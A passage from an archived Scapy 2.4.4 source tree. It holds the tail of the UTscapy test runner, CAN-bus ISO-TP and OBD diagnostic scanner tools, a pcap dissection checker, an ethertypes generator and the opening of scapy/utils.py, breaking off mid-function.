test_campaign.preexec = PREEXEC # Compute campaign CRC and SHA if CRC: compute_campaign_digests(test_campaign) # Filter out unwanted tests filter_tests_on_numbers(test_campaign, NUM) for k in KW_OK: filter_tests_keep_on_keywords(test_campaign, k) for k in KW_KO: filter_tests_remove_on_keywords(test_campaign, k) remove_empty_testsets(test_campaign) # Dump campaign if DUMP: dump_campaign(test_campaign) if DUMP > 1: sys.exit() # Dump campaign as reStructuredText if DOCS: docs_campaign(test_campaign) sys.exit() # Run tests test_campaign.output_file = OUTPUTFILE result = run_campaign(test_campaign, autorun_func[FORMAT], drop_to_interpreter=INTERPRETER, verb=VERB, ignore_globals=None, scapy_ses=scapy_ses) # noqa: E501 # Shrink passed if ONLYFAILED: for t in test_campaign.all_tests(): if t: t.expand = 0 else: t.expand = 2 # Generate report if FORMAT == Format.TEXT: output = campaign_to_TEXT(test_campaign) elif FORMAT == Format.ANSI: output = campaign_to_ANSI(test_campaign) elif FORMAT == Format.HTML: test_campaign.startNum(pos_begin) output = campaign_to_HTML(test_campaign) elif FORMAT == Format.LATEX: output = campaign_to_LATEX(test_campaign) elif FORMAT == Format.XUNIT: output = campaign_to_xUNIT(test_campaign) elif FORMAT == Format.LIVE: output = "" return output, (result == 0), test_campaign def resolve_testfiles(TESTFILES): for tfile in TESTFILES[:]: if "*" in tfile: TESTFILES.remove(tfile) TESTFILES.extend(glob.glob(tfile)) return TESTFILES def main(): argv = sys.argv[1:] logger = logging.getLogger("scapy") logger.addHandler(logging.StreamHandler()) ignore_globals = list(six.moves.builtins.__dict__) # Parse arguments FORMAT = Format.ANSI OUTPUTFILE = sys.stdout LOCAL = 0 NUM = None NON_ROOT = False KW_OK = [] KW_KO = [] DUMP = 0 DOCS = 0 CRC = True BREAKFAILED = True ONLYFAILED = False VERB = 3 GLOB_PREEXEC = "" PREEXEC_DICT = {} MODULES = [] TESTFILES = [] ANNOTATIONS_MODE = False INTERPRETER = False try: opts = getopt.getopt(argv, "o:t:T:c:f:hbln:m:k:K:DRdCiFqNP:s:x") for opt, optarg in opts[0]: if opt == "-h": usage() elif opt == "-b": BREAKFAILED = False elif opt == "-F": ONLYFAILED = True elif opt == "-q": VERB -= 1 elif opt == "-D": DUMP = 2 elif opt == "-R": DOCS = 1 elif opt == "-d": DUMP = 1 elif opt == "-C": CRC = False elif opt == "-i": INTERPRETER = True elif opt == "-x": ANNOTATIONS_MODE = True elif opt == "-P": GLOB_PREEXEC += "\n" + optarg elif opt == "-f": try: FORMAT = Format.from_string(optarg) except KeyError as msg: raise getopt.GetoptError("Unknown output format %s" % msg) elif opt == "-t": TESTFILES.append(optarg) TESTFILES = resolve_testfiles(TESTFILES) elif opt == "-T": TESTFILES.remove(optarg) elif opt == "-c": data = parse_config_file(optarg, VERB) BREAKFAILED = data.breakfailed ONLYFAILED = data.onlyfailed VERB = data.verb DUMP = data.dump CRC = data.crc PREEXEC_DICT = data.preexec GLOB_PREEXEC = data.global_preexec OUTPUTFILE = data.outfile TESTFILES = data.testfiles LOCAL = 1 if data.local else 0 NUM = data.num MODULES = data.modules KW_OK.extend(data.kw_ok) KW_KO.extend(data.kw_ko) try: FORMAT = Format.from_string(data.format) except KeyError as msg: raise getopt.GetoptError("Unknown output format %s" % msg) TESTFILES = resolve_testfiles(TESTFILES) for testfile in resolve_testfiles(data.remove_testfiles): try: TESTFILES.remove(testfile) except ValueError: error_m = "Cannot remove %s from test files" % testfile raise getopt.GetoptError(error_m) elif opt == "-o": OUTPUTFILE = optarg if not os.access(os.path.dirname(os.path.abspath(OUTPUTFILE)), os.W_OK): raise getopt.GetoptError("Cannot write to file %s" % OUTPUTFILE) elif opt == "-l": LOCAL = 1 elif opt == "-n": NUM = [] for v in (x.strip() for x in optarg.split(",")): try: NUM.append(int(v)) except ValueError: v1, v2 = [int(e) for e in v.split('-', 1)] NUM.extend(range(v1, v2 + 1)) elif opt == "-N": NON_ROOT = True elif opt == "-m": MODULES.append(optarg) elif opt == "-k": KW_OK.extend(optarg.split(",")) elif opt == "-K": KW_KO.extend(optarg.split(",")) # Disable tests if needed # Discard Python3 tests when using Python2 if six.PY2: KW_KO.append("python3_only") if VERB > 2: print("### Python 2 mode ###") try: if NON_ROOT or os.getuid() != 0: # Non root # Discard root tests KW_KO.append("netaccess") KW_KO.append("needs_root") if VERB > 2: print("### Non-root mode ###") except AttributeError: pass if conf.use_pcap: KW_KO.append("not_pcapdnet") if VERB > 2: print("### libpcap mode ###") # Process extras if six.PY3: KW_KO.append("FIXME_py3") if ANNOTATIONS_MODE: try: from pyannotate_runtime import collect_types except ImportError: raise ImportError("Please install pyannotate !") collect_types.init_types_collection() collect_types.start() if VERB > 2: print("### Booting scapy...", file=sys.stderr) try: from scapy import all as scapy except Exception as e: print("[CRITICAL]: Cannot import Scapy: %s" % e, file=sys.stderr) traceback.print_exc() sys.exit(1) # Abort the tests for m in MODULES: try: mod = import_module(m) six.moves.builtins.__dict__.update(mod.__dict__) except ImportError as e: raise getopt.GetoptError("cannot import [%s]: %s" % (m, e)) # Add SCAPY_ROOT_DIR environment variable, used for tests os.environ['SCAPY_ROOT_DIR'] = os.environ.get("PWD", os.getcwd()) except getopt.GetoptError as msg: print("ERROR:", msg, file=sys.stderr) raise SystemExit autorun_func = { Format.TEXT: scapy.autorun_get_text_interactive_session, Format.ANSI: scapy.autorun_get_ansi_interactive_session, Format.HTML: scapy.autorun_get_html_interactive_session, Format.LATEX: scapy.autorun_get_latex_interactive_session, Format.XUNIT: scapy.autorun_get_text_interactive_session, Format.LIVE: scapy.autorun_get_live_interactive_session, } if VERB > 2: print("### Starting tests...", file=sys.stderr) glob_output = "" glob_result = 0 glob_title = None UNIQUE = len(TESTFILES) == 1 # Resolve tags and asterix for prex in six.iterkeys(copy.copy(PREEXEC_DICT)): if "*" in prex: pycode = PREEXEC_DICT[prex] del PREEXEC_DICT[prex] for gl in glob.iglob(prex): _pycode = pycode.replace("%name%", os.path.splitext(os.path.split(gl)[1])[0]) # noqa: E501 PREEXEC_DICT[gl] = _pycode pos_begin = 0 runned_campaigns = [] scapy_ses = importlib.import_module(".all", "scapy").__dict__ import_UTscapy_tools(scapy_ses) # Execute all files for TESTFILE in TESTFILES: if VERB > 2: print("### Loading:", TESTFILE, file=sys.stderr) PREEXEC = PREEXEC_DICT[TESTFILE] if TESTFILE in PREEXEC_DICT else GLOB_PREEXEC with open(TESTFILE) as testfile: output, result, campaign = execute_campaign( testfile, OUTPUTFILE, PREEXEC, NUM, KW_OK, KW_KO, DUMP, DOCS, FORMAT, VERB, ONLYFAILED, CRC, INTERPRETER, autorun_func, pos_begin, ignore_globals, copy.copy(scapy_ses)) runned_campaigns.append(campaign) pos_begin = campaign.end_pos if UNIQUE: glob_title = campaign.title glob_output += output if not result: glob_result = 1 if BREAKFAILED: break if VERB > 2: print("### Writing output...", file=sys.stderr) if ANNOTATIONS_MODE: collect_types.stop() collect_types.dump_stats("pyannotate_results") # Concenate outputs if FORMAT == Format.HTML: glob_output = pack_html_campaigns(runned_campaigns, glob_output, LOCAL, glob_title) # Write the final output # Note: on Python 2, we force-encode to ignore ascii errors # on Python 3, we need to detect the type of stream if OUTPUTFILE == sys.stdout: OUTPUTFILE.write(glob_output.encode("utf8", "ignore") if 'b' in OUTPUTFILE.mode or six.PY2 else glob_output) else: with open(OUTPUTFILE, "wb") as f: f.write(glob_output.encode("utf8", "ignore") if 'b' in f.mode or six.PY2 else glob_output) # Delete scapy's test environment vars del os.environ['SCAPY_ROOT_DIR'] # Return state return glob_result if __name__ == "__main__": if sys.warnoptions: with warnings.catch_warnings(record=True) as cw: warnings.resetwarnings() # Let's discover the garbage waste warnings.simplefilter('error') print("### Warning mode enabled ###") res = main() if cw: res = 1 sys.exit(res) else: sys.exit(main()) scapy-2.4.4/scapy/tools/__init__.py000066400000000000000000000003601372370053500172340ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Additional tools to be run separately """ scapy-2.4.4/scapy/tools/automotive/000077500000000000000000000000001372370053500173205ustar00rootroot00000000000000scapy-2.4.4/scapy/tools/automotive/__init__.py000066400000000000000000000003611372370053500214310ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Nils Weiss # This program is published under a GPLv2 license """ Automotive related tools to be run separately """ scapy-2.4.4/scapy/tools/automotive/isotpscanner.py000077500000000000000000000172621372370053500224150ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Nils Weiss # Copyright (C) Alexander Schroeder # This program is published under a GPLv2 license from __future__ import print_function import getopt import sys import signal import re from ast import literal_eval import scapy.modules.six as six from scapy.config import conf from scapy.consts import LINUX if six.PY2 or not LINUX or conf.use_pypy: conf.contribs['CANSocket'] = {'use-python-can': True} from scapy.contrib.cansocket import CANSocket, PYTHON_CAN # noqa: E402 from scapy.contrib.isotp import ISOTPScan # noqa: E402 def signal_handler(sig, frame): print('Interrupting scan!') sys.exit(0) def usage(is_error): print('''usage:\tisotpscanner [-i interface] [-c channel] [-a python-can_args] [-n NOISE_LISTEN_TIME] [-t SNIFF_TIME] [-x|--extended] [-C|--piso] [-v|--verbose] [-h|--help] [-s start] [-e end]\n Scan for open ISOTP-Sockets.\n required arguments: -c, --channel python-can channel or Linux SocketCAN interface name -s, --start Start scan at this identifier (hex) -e, --end End scan at this identifier (hex)\n additional required arguments for WINDOWS or Python 2: -i, --interface python-can interface for the scan. Depends on used interpreter and system, see examples below. Any python-can interface can be provided. Please see: https://python-can.readthedocs.io for further interface examples. optional arguments: -a, --python-can_args Additional arguments for a python-can Bus object.\n -h, --help show this help message and exit -n NOISE_LISTEN_TIME, --noise_listen_time NOISE_LISTEN_TIME Seconds listening for noise before scan. -t SNIFF_TIME, --sniff_time SNIFF_TIME Duration in milliseconds a sniff is waiting for a flow-control response. -x, --extended Scan with ISOTP extended addressing. This has nothing to do with extended CAN identifiers -C, --piso Print 'Copy&Paste'-ready ISOTPSockets. -v, --verbose Display information during scan.\n --extended_can_id Use extended CAN identifiers Example of use:\n Python2 or Windows: python2 -m scapy.tools.automotive.isotpscanner --interface=pcan --channel=PCAN_USBBUS1 --start 0 --end 100 python2 -m scapy.tools.automotive.isotpscanner --interface=pcan --channel=PCAN_USBBUS1 -a 'bitrate=500000 fd=True' --start 0 --end 100 python2 -m scapy.tools.automotive.isotpscanner --interface vector --channel 0 --start 0 --end 100 python2 -m scapy.tools.automotive.isotpscanner --interface vector --channel 0 --python-can_args 'bitrate=500000, poll_interval=1' --start 0 --end 100 python2 -m scapy.tools.automotive.isotpscanner --interface socketcan --channel=can0 --start 0 --end 100\n Python3 on Linux: python3 -m scapy.tools.automotive.isotpscanner --channel can0 --start 0 --end 100 \n''', # noqa: E501 file=sys.stderr if is_error else sys.stdout) def main(): extended = False piso = False verbose = False extended_can_id = False sniff_time = 100 noise_listen_time = 2 start = None end = None channel = None interface = None python_can_args = None conf.verb = -1 options = getopt.getopt( sys.argv[1:], 'vxCt:n:i:c:a:s:e:h:w', ['verbose', 'noise_listen_time=', 'sniff_time=', 'interface=', 'piso', 'channel=', 'python-can_args=', 'start=', 'end=', 'help', 'extended', 'extended_can_id']) try: for opt, arg in options[0]: if opt in ('-v', '--verbose'): verbose = True elif opt in ('-x', '--extended'): extended = True elif opt in ('-C', '--piso'): piso = True elif opt in ('-h', '--help'): usage(False) sys.exit(0) elif opt in ('-t', '--sniff_time'): sniff_time = int(arg) elif opt in ('-n', '--noise_listen_time'): noise_listen_time = int(arg) elif opt in ('-i', '--interface'): interface = arg elif opt in ('-c', '--channel'): channel = arg elif opt in ('-a', '--python-can_args'): python_can_args = arg elif opt in ('-s', '--start'): start = int(arg, 16) elif opt in ('-e', '--end'): end = int(arg, 16) elif opt in '--extended_can_id': extended_can_id = True except getopt.GetoptError as msg: usage(True) print("ERROR:", msg, file=sys.stderr) raise SystemExit if start is None or \ end is None or \ channel is None or \ (PYTHON_CAN and interface is None): usage(True) print("\nPlease provide all required arguments.\n", file=sys.stderr) sys.exit(1) if end >= 2**29 or start >= 2**29: print("Argument 'start' and 'end' must be < " + hex(2**29), file=sys.stderr) sys.exit(1) if not extended_can_id and (end >= 0x800 or start >= 0x800): print("Standard can identifiers must be < 0x800.\n" "Use --extended_can_id option to scan with " "extended CAN identifiers.", file=sys.stderr) sys.exit(1) if end < start: print("start must be equal or smaller than end.", file=sys.stderr) sys.exit(1) sock = None try: if PYTHON_CAN: if python_can_args: interface_string = "CANSocket(bustype=" \ "'%s', channel='%s', %s)" % \ (interface, channel, python_can_args) arg_dict = dict((k, literal_eval(v)) for k, v in (pair.split('=') for pair in re.split(', | |,', python_can_args))) sock = CANSocket(bustype=interface, channel=channel, **arg_dict) else: interface_string = "CANSocket(bustype=" \ "'%s', channel='%s')" % \ (interface, channel) sock = CANSocket(bustype=interface, channel=channel) else: sock = CANSocket(channel=channel) interface_string = "\"%s\"" % channel if verbose: print("Start scan (%s - %s)" % (hex(start), hex(end))) signal.signal(signal.SIGINT, signal_handler) result = ISOTPScan(sock, range(start, end + 1), extended_addressing=extended, noise_listen_time=noise_listen_time, sniff_time=float(sniff_time) / 1000, output_format="code" if piso else "text", can_interface=interface_string, extended_can_id=extended_can_id, verbose=verbose) print("Scan: \n%s" % result) except Exception as e: usage(True) print("\nSocket couldn't be created. Check your arguments.\n", file=sys.stderr) print(e, file=sys.stderr) sys.exit(1) finally: if sock is not None: sock.close() if __name__ == '__main__': main() scapy-2.4.4/scapy/tools/automotive/obdscanner.py000077500000000000000000000201001372370053500220040ustar00rootroot00000000000000#! /usr/bin/env python # This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Andreas Korb # Copyright (C) Friedrich Feigel # Copyright (C) Nils Weiss # This program is published under a GPLv2 license from __future__ import print_function import getopt import sys import signal import re from ast import literal_eval import scapy.modules.six as six from scapy.config import conf from scapy.consts import LINUX if six.PY2 or not LINUX or conf.use_pypy: conf.contribs['CANSocket'] = {'use-python-can': True} from scapy.contrib.isotp import ISOTPSocket # noqa: E402 from scapy.contrib.cansocket import CANSocket, PYTHON_CAN # noqa: E402 from scapy.contrib.automotive.obd.obd import OBD # noqa: E402 from scapy.contrib.automotive.obd.scanner import OBD_Scanner, OBD_S01_Enumerator, OBD_S02_Enumerator, OBD_S03_Enumerator, OBD_S06_Enumerator, OBD_S07_Enumerator, OBD_S08_Enumerator, OBD_S09_Enumerator, OBD_S0A_Enumerator # noqa: E402 E501 def signal_handler(sig, frame): print('Interrupting scan!') sys.exit(0) def usage(is_error): print('''usage:\tobdscanner [-i|--interface] [-c|--channel] [-b|--bitrate] [-a|--python-can_args] [-h|--help] [-s|--source] [-d|--destination] [-t|--timeout] [-f|--full] [-v|--verbose]\n Scan for all possible obd service classes and their subfunctions.\n optional arguments: -c, --channel python-can channel or Linux SocketCAN interface name\n additional required arguments for WINDOWS or Python 2: -i, --interface python-can interface for the scan. Depends on used interpreter and system, see examples below. Any python-can interface can be provided. Please see: https://python-can.readthedocs.io for further interface examples. optional arguments: -a, --python-can_args Additional arguments for a python-can Bus object. -h, --help show this help message and exit -s, --source ISOTP-socket source id (hex) -d, --destination ISOTP-socket destination id (hex) -t, --timeout Timeout after which the scanner proceeds to next service [seconds] -f, --full Full scan on id services -v, --verbose Display information during scan -1 Scan OBD Service 01 -2 Scan OBD Service 02 -3 Scan OBD Service 03 -6 Scan OBD Service 06 -7 Scan OBD Service 07 -8 Scan OBD Service 08 -9 Scan OBD Service 09 -A Scan OBD Service 0A\n Example of use:\n Python2 or Windows: python2 -m scapy.tools.automotive.obdscanner --interface=pcan --channel=PCAN_USBBUS1 --source=0x070 --destination 0x034 python2 -m scapy.tools.automotive.obdscanner --interface vector --channel 0 --source 0x000 --destination 0x734 python2 -m scapy.tools.automotive.obdscanner --interface socketcan --channel=can0 --source 0x089 --destination 0x234 python2 -m scapy.tools.automotive.obdscanner --interface vector --channel 0 --python-can_args 'bitrate=500000, poll_interval=1' --source=0x070 --destination 0x034\n Python3 on Linux: python3 -m scapy.tools.automotive.obdscanner --channel can0 --source 0x123 --destination 0x456 \n''', # noqa: E501 file=sys.stderr if is_error else sys.stdout) def main(): channel = None interface = None source = 0x7e0 destination = 0x7df timeout = 0.1 full_scan = False specific_scan = False verbose = False python_can_args = None custom_enumerators = [] conf.verb = -1 options = getopt.getopt( sys.argv[1:], 'i:c:s:d:a:t:hfv1236789A', ['interface=', 'channel=', 'source=', 'destination=', 'help', 'timeout=', 'python-can_args=', 'full', 'verbose']) try: for opt, arg in options[0]: if opt in ('-i', '--interface'): interface = arg elif opt in ('-c', '--channel'): channel = arg elif opt in ('-a', '--python-can_args'): python_can_args = arg elif opt in ('-s', '--source'): source = int(arg, 16) elif opt in ('-d', '--destination'): destination = int(arg, 16) elif opt in ('-h', '--help'): usage(False) sys.exit(0) elif opt in ('-t', '--timeout'): timeout = float(arg) elif opt in ('-f', '--full'): full_scan = True elif opt == '-1': specific_scan = True custom_enumerators += [OBD_S01_Enumerator] elif opt == '-2': specific_scan = True custom_enumerators += [OBD_S02_Enumerator] elif opt == '-3': specific_scan = True custom_enumerators += [OBD_S03_Enumerator] elif opt == '-6': specific_scan = True custom_enumerators += [OBD_S06_Enumerator] elif opt == '-7': specific_scan = True custom_enumerators += [OBD_S07_Enumerator] elif opt == '-8': specific_scan = True custom_enumerators += [OBD_S08_Enumerator] elif opt == '-9': specific_scan = True custom_enumerators += [OBD_S09_Enumerator] elif opt == '-A': specific_scan = True custom_enumerators += [OBD_S0A_Enumerator] elif opt in ('-v', '--verbose'): verbose = True except getopt.GetoptError as msg: usage(True) print("ERROR:", msg, file=sys.stderr) raise SystemExit if channel is None or \ (PYTHON_CAN and interface is None): usage(True) print("\nPlease provide all required arguments.\n", file=sys.stderr) sys.exit(1) if 0 > source >= 0x800 or 0 > destination >= 0x800\ or source == destination: print("The ids must be >= 0 and < 0x800 and not equal.", file=sys.stderr) sys.exit(1) if 0 > timeout: print("The timeout must be a positive value") sys.exit(1) csock = None try: if PYTHON_CAN: if python_can_args: arg_dict = dict((k, literal_eval(v)) for k, v in (pair.split('=') for pair in re.split(', | |,', python_can_args))) csock = CANSocket(bustype=interface, channel=channel, **arg_dict) else: csock = CANSocket(bustype=interface, channel=channel) else: csock = CANSocket(channel=channel) with ISOTPSocket(csock, source, destination, basecls=OBD, padding=True) as isock: signal.signal(signal.SIGINT, signal_handler) if specific_scan: es = custom_enumerators else: es = OBD_Scanner.default_enumerator_clss s = OBD_Scanner(isock, enumerators=es, full_scan=full_scan, verbose=verbose, timeout=timeout) print("Starting OBD-Scan...") s.scan() for e in s.enumerators: e.show() except Exception as e: usage(True) print("\nSocket couldn't be created. Check your arguments.\n", file=sys.stderr) print(e, file=sys.stderr) sys.exit(1) finally: if csock is not None: csock.close() if __name__ == '__main__': main() scapy-2.4.4/scapy/tools/check_asdis.py000077500000000000000000000055751372370053500177550ustar00rootroot00000000000000from __future__ import print_function import getopt def usage(): print("""Usage: check_asdis -i [-o ] -v increase verbosity -d hexdiff packets that differ -z compress output pcap -a open pcap file in append mode""", file=sys.stderr) def main(argv): PCAP_IN = None PCAP_OUT = None COMPRESS = False APPEND = False DIFF = False VERBOSE = 0 try: opts = getopt.getopt(argv, "hi:o:azdv") for opt, parm in opts[0]: if opt == "-h": usage() raise SystemExit elif opt == "-i": PCAP_IN = parm elif opt == "-o": PCAP_OUT = parm elif opt == "-v": VERBOSE += 1 elif opt == "-d": DIFF = True elif opt == "-a": APPEND = True elif opt == "-z": COMPRESS = True if PCAP_IN is None: raise getopt.GetoptError("Missing pcap file (-i)") except getopt.GetoptError as e: print("ERROR: %s" % e, file=sys.stderr) raise SystemExit from scapy.config import conf from scapy.utils import RawPcapReader, RawPcapWriter, hexdiff from scapy.layers import all # noqa: F401 pcap = RawPcapReader(PCAP_IN) pcap_out = None if PCAP_OUT: pcap_out = RawPcapWriter(PCAP_OUT, append=APPEND, gz=COMPRESS, linktype=pcap.linktype) # noqa: E501 pcap_out._write_header(None) LLcls = conf.l2types.get(pcap.linktype) if LLcls is None: print(" Unknown link type [%i]. Can't test anything!" % pcap.linktype, file=sys.stderr) # noqa: E501 raise SystemExit i = -1 differ = 0 failed = 0 for p1, meta in pcap: i += 1 try: p2d = LLcls(p1) p2 = str(p2d) except KeyboardInterrupt: raise except Exception as e: print("Dissection error on packet %i: %s" % (i, e)) failed += 1 else: if p1 == p2: if VERBOSE >= 2: print("Packet %i ok" % i) continue else: print("Packet %i differs" % i) differ += 1 if VERBOSE >= 1: print(repr(p2d)) if DIFF: hexdiff(p1, p2) if pcap_out is not None: pcap_out.write(p1) i += 1 correct = i - differ - failed print("%i total packets. %i ok, %i differed, %i failed. %.2f%% correct." % (i, correct, differ, # noqa: E501 failed, i and 100.0 * (correct) / i)) # noqa: E501 if __name__ == "__main__": import sys try: main(sys.argv[1:]) except KeyboardInterrupt: print("Interrupted by user.", file=sys.stderr) scapy-2.4.4/scapy/tools/generate_ethertypes.py000066400000000000000000000034711372370053500215510ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # Copyright (C) Gabriel Potter # This program is published under a GPLv2 license """Generate the ethertypes file (/etc/ethertypes) based on the OpenBSD source https://github.com/openbsd/src/blob/master/sys/net/ethertypes.h It allows to have a file with the format of http://git.netfilter.org/ebtables/plain/ethertypes but up-to-date. """ import re import urllib.request URL = "https://raw.githubusercontent.com/openbsd/src/master/sys/net/ethertypes.h" # noqa: E501 with urllib.request.urlopen(URL) as stream: DATA = stream.read() reg = br".*ETHERTYPE_([^\s]+)\s.0x([0-9A-Fa-f]+).*\/\*(.*)\*\/" COMPILED = b"""# # Ethernet frame types # This file describes some of the various Ethernet # protocol types that are used on Ethernet networks. # # This list could be found on: # http://www.iana.org/assignments/ethernet-numbers # http://www.iana.org/assignments/ieee-802-numbers # # ... #Comment # """ ALIASES = { b"IP": b"IPv4", b"IPV6": b"IPv6" } for line in DATA.split(b"\n"): match = re.match(reg, line) if match: name = match.group(1) name = ALIASES.get(name, name).ljust(16) number = match.group(2).upper() comment = match.group(3).strip() compiled_line = (b"%b%b" + b" " * 25 + b"# %b\n") % ( name, number, comment ) COMPILED += compiled_line with open("../libs/ethertypes.py", "rb") as inp: data = inp.read() with open("../libs/ethertypes.py", "wb") as out: ini, sep, _ = data.partition(b"DATA = b\"\"\"") COMPILED = ini + sep + b"\n" + COMPILED + b"\"\"\"\n" print("Written: %s" % out.write(COMPILED)) scapy-2.4.4/scapy/tools/scapy_pyannotate.py000066400000000000000000000010431372370053500210550ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Wrap Scapy's shell in pyannotate. """ import os import sys sys.path.insert(0, os.path.abspath('../../')) from pyannotate_runtime import collect_types # noqa: E402 from scapy.main import interact # noqa: E402 collect_types.init_types_collection() with collect_types.collect(): interact() collect_types.dump_stats("pyannotate_results_main") scapy-2.4.4/scapy/utils.py000066400000000000000000002050551372370053500155050ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ General utility functions. """ from __future__ import absolute_import from __future__ import print_function from decimal import Decimal import os import sys import socket import collections import random import time import gzip import re import struct import array import subprocess import tempfile import threading import scapy.modules.six as six from scapy.modules.six.moves import range, input from scapy.config import conf from scapy.consts import DARWIN, WINDOWS, WINDOWS_XP, OPENBSD from scapy.data import MTU, DLT_EN10MB from scapy.compat import orb, raw, plain_str, chb, bytes_base64,\ base64_bytes, hex_bytes, lambda_tuple_converter, bytes_encode from scapy.error import log_runtime, Scapy_Exception, warning from scapy.pton_ntop import inet_pton ########### # Tools # ########### def issubtype(x, t): """issubtype(C, B) -> bool Return whether C is a class and if it is a subclass of class B. When using a tuple as the second argument issubtype(X, (A, B, ...)), is a shortcut for issubtype(X, A) or issubtype(X, B) or ... (etc.). """ if isinstance(t, str): return t in (z.__name__ for z in x.__bases__) if isinstance(x, type) and issubclass(x, t): return True return False class EDecimal(Decimal): """Extended Decimal This implements arithmetic and comparison with float for backward compatibility """ def __add__(self, other, **kwargs): return EDecimal(Decimal.__add__(self, Decimal(other), **kwargs)) def __radd__(self, other, **kwargs): return EDecimal(Decimal.__add__(self, Decimal(other), **kwargs)) def __sub__(self, other, **kwargs): return EDecimal(Decimal.__sub__(self, Decimal(other), **kwargs)) def __rsub__(self, other, **kwargs): return EDecimal(Decimal.__rsub__(self, Decimal(other), **kwargs)) def __mul__(self, other, **kwargs): return EDecimal(Decimal.__mul__(self, Decimal(other), **kwargs)) def __rmul__(self, other, **kwargs): return EDecimal(Decimal.__mul__(self, Decimal(other), **kwargs)) def __truediv__(self, other, **kwargs): return EDecimal(Decimal.__truediv__(self, Decimal(other), **kwargs)) def __floordiv__(self, other, **kwargs): return EDecimal(Decimal.__floordiv__(self, Decimal(other), **kwargs)) def __div__(self, other, **kwargs): return EDecimal(Decimal.__div__(self, Decimal(other), **kwargs)) def __rdiv__(self, other, **kwargs): return EDecimal(Decimal.__rdiv__(self, Decimal(other), **kwargs)) def __mod__(self, other, **kwargs): return EDecimal(Decimal.__mod__(self, Decimal(other), **kwargs)) def __rmod__(self, other, **kwargs): return EDecimal(Decimal.__rmod__(self, Decimal(other), **kwargs)) def __divmod__(self, other, **kwargs): return EDecimal(Decimal.__divmod__(self, Decimal(other), **kwargs)) def __rdivmod__(self, other, **kwargs): return EDecimal(Decimal.__rdivmod__(self, Decimal(other), **kwargs)) def __pow__(self, other, **kwargs): return EDecimal(Decimal.__pow__(self, Decimal(other), **kwargs)) def __rpow__(self, other, **kwargs): return EDecimal(Decimal.__rpow__(self, Decimal(other), **kwargs)) def __eq__(self, other, **kwargs): return super(EDecimal, self).__eq__(other) or float(self) == other def get_temp_file(keep=False, autoext="", fd=False): """Creates a temporary file. :param keep: If False, automatically delete the file when Scapy exits. :param autoext: Suffix to add to the generated file name. :param fd: If True, this returns a file-like object with the temporary file opened. If False (default), this returns a file path. """ f = tempfile.NamedTemporaryFile(prefix="scapy", suffix=autoext, delete=False) if not keep: conf.temp_files.append(f.name) if fd: return f else: # Close the file so something else can take it. f.close() return f.name def get_temp_dir(keep=False): """Creates a temporary file, and returns its name. :param keep: If False (default), the directory will be recursively deleted when Scapy exits. :return: A full path to a temporary directory. """ dname = tempfile.mkdtemp(prefix="scapy") if not keep: conf.temp_files.append(dname) return dname def sane_color(x): r = "" for i in x: j = orb(i) if (j < 32) or (j >= 127): r += conf.color_theme.not_printable(".") else: r += chr(j) return r def sane(x): r = "" for i in x: j = orb(i) if (j < 32) or (j >= 127): r += "." else: r += chr(j) return r @conf.commands.register def restart(): """Restarts scapy""" if not conf.interactive or not os.path.isfile(sys.argv[0]): raise OSError("Scapy was not started from console") if WINDOWS: try: res_code = subprocess.call([sys.executable] + sys.argv) except KeyboardInterrupt: res_code = 1 finally: os._exit(res_code) os.execv(sys.executable, [sys.executable] + sys.argv) def lhex(x): from scapy.volatile import VolatileValue if isinstance(x, VolatileValue): return repr(x) if type(x) in six.integer_types: return hex(x) elif isinstance(x, tuple): return "(%s)" % ", ".join(map(lhex, x)) elif isinstance(x, list): return "[%s]" % ", ".join(map(lhex, x)) else: return x @conf.commands.register def hexdump(x, dump=False): """Build a tcpdump like hexadecimal view :param x: a Packet :param dump: define if the result must be printed or returned in a variable :return: a String only when dump=True """ s = "" x = bytes_encode(x) x_len = len(x) i = 0 while i < x_len: s += "%04x " % i for j in range(16): if i + j < x_len: s += "%02X " % orb(x[i + j]) else: s += " " s += " %s\n" % sane_color(x[i:i + 16]) i += 16 # remove trailing \n s = s[:-1] if s.endswith("\n") else s if dump: return s else: print(s) @conf.commands.register def linehexdump(x, onlyasc=0, onlyhex=0, dump=False): """Build an equivalent view of hexdump() on a single line Note that setting both onlyasc and onlyhex to 1 results in a empty output :param x: a Packet :param onlyasc: 1 to display only the ascii view :param onlyhex: 1 to display only the hexadecimal view :param dump: print the view if False :return: a String only when dump=True """ s = "" s = hexstr(x, onlyasc=onlyasc, onlyhex=onlyhex, color=not dump) if dump: return s else: print(s) @conf.commands.register def chexdump(x, dump=False): """Build a per byte hexadecimal representation Example: >>> chexdump(IP()) 0x45, 0x00, 0x00, 0x14, 0x00, 0x01, 0x00, 0x00, 0x40, 0x00, 0x7c, 0xe7, 0x7f, 0x00, 0x00, 0x01, 0x7f, 0x00, 0x00, 0x01 # noqa: E501 :param x: a Packet :param dump: print the view if False :return: a String only if dump=True """ x = bytes_encode(x) s = ", ".join("%#04x" % orb(x) for x in x) if dump: return s else: print(s) @conf.commands.register def hexstr(x, onlyasc=0, onlyhex=0, color=False): """Build a fancy tcpdump like hex from bytes.""" x = bytes_encode(x) _sane_func = sane_color if color else sane s = [] if not onlyasc: s.append(" ".join("%02X" % orb(b) for b in x)) if not onlyhex: s.append(_sane_func(x)) return " ".join(s) def repr_hex(s): """ Convert provided bitstring to a simple string of hex digits """ return "".join("%02x" % orb(x) for x in s) @conf.commands.register def hexdiff(x, y): """Show differences between 2 binary strings""" x = bytes_encode(x)[::-1] y = bytes_encode(y)[::-1] SUBST = 1 INSERT = 1 d = {(-1, -1): (0, (-1, -1))} for j in range(len(y)): d[-1, j] = d[-1, j - 1][0] + INSERT, (-1, j - 1) for i in range(len(x)): d[i, -1] = d[i - 1, -1][0] + INSERT, (i - 1, -1) for j in range(len(y)): for i in range(len(x)): d[i, j] = min((d[i - 1, j - 1][0] + SUBST * (x[i] != y[j]), (i - 1, j - 1)), # 